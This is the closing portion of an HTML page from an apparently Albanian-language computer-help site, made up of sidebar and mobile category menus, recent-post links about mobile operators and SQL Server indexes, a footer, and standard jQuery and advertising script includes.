src="/uploads/eba716277ba14bce951833b4204c69f7.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/sq/mobilnaya-raciya-ptt-mobilnaya-raciya-ili-chem-polezna-funkciya-push-to-talk-chto-takoe.html">Walkie-talkie celulare ose sa i dobishëm është funksioni Push-to-Talk Çfarë është PTT në një telefon Nokia?</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/programs/">Programet</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/windows/">Dritaret</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/devices/">Pajisjet</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/browsers/">Shfletuesit</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/reviews/">Shqyrtime</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/reviews/">Shqyrtime</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/setup/">Cilësimet</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/editors/">Redaktorët</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Shënimet e fundit</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/10f642ebe4dccc82d9b5110ffaf8cc14.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Lidhja me Morton Telecom: shërbimet, kostoja, të mirat dhe të këqijat, paraqitja e një aplikacioni" / loading=lazy loading=lazy> <span class="cat">Programet</span></div> <a href="https://storerarity.ru/sq/morton-telekom-putilkovo-televidenie-podklyuchenie-k-morton-telekom.html">Lidhja me Morton Telecom: shërbimet, kostoja, të mirat dhe të këqijat, paraqitja e një aplikacioni</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/d9f7d96568d7e149a68119eada7f874a.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Si të zgjidhni operatorin më të mirë celular në Rusi" / loading=lazy loading=lazy> <span class="cat">Programet</span></div> <a href="https://storerarity.ru/sq/kakoi-operator-svyazi-luchshe-dlya-mobilnogo-interneta-kak-vybrat.html">Si të zgjidhni operatorin më të mirë celular në Rusi</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/5fb8e1aac504834986134b98da57297d.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Serveri Sql - A ka rëndësi rendi kur krijoni një indeks mbulues në Microsoft SQL?" / loading=lazy loading=lazy> <span class="cat">Programet</span></div> <a href="https://storerarity.ru/sq/indeksy-ms-sql-sql-server---vazhen-li-poryadok-pri-sozdanii-pokryvayushchego-indeksa-v.html">Serveri Sql - A ka rëndësi rendi kur krijoni një indeks mbulues në Microsoft SQL?</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Kompjuterë për të gjithë - Konfigurimi, instalimi, rikuperimi</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/programs/">Programet</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/windows/">Dritaret</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/devices/">Pajisjet</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/browsers/">Shfletuesit</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/reviews/">Shqyrtime</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/reviews/">Shqyrtime</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/setup/">Cilësimet</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/sq/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>